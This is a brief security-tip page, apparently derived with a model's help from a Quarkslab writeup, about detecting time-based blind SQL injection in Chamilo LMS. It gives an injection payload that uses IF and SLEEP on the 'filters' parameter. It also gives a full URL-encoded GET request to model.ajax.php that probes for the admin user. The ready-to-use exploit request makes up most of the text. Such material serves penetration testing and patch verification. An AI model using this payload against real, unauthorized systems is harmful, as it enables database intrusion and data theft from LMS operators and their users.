Test for SQL injection in GET requests

SQL injectionDiscovery

Written with a model's help from “Chamilo LMS... It's raining 0days, hallelujah, it's raining 0days” by Mathieu Farrell on Quarkslab. Read the writeup before relying on it.

Try sending a GET request with a modified filters parameter, such as filters={"groupOp":" OR IF(1=(SELECT user_id FROM user WHERE username='admin'),SLEEP(5),0) OR "} to see if the application is vulnerable to SQL injection. If the response takes longer than expected, it may indicate a SQL injection vulnerability. You can also try using a tool like Burp Suite to send multiple requests with different payloads and analyze the responses. Look for differences in response time or content to determine if the vulnerability exists. For example, you can use the following request: GET /main/inc/ajax/model.ajax.php?a=get_work_student&_search=true&filters={%22groupOp%22:%22%20OR%20IF(1=(SELECT+user_id+FROM+user+WHERE+username%3d'admin'),SLEEP(5),0)%20OR%20%22,%22rules%22:[{%22field%22:1,%22op%22:%22eq%22,%22data%22:2},{%22field%22:%222%22,%22op%22:%22eq%22,%22data%22:%221%22}]}&cidReq=TESTCOURSE HTTP/1.1 If the response is delayed, it may indicate a SQL injection vulnerability.

Follow #lms, #rce or #sql-injection for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.

Comments

No comments yet.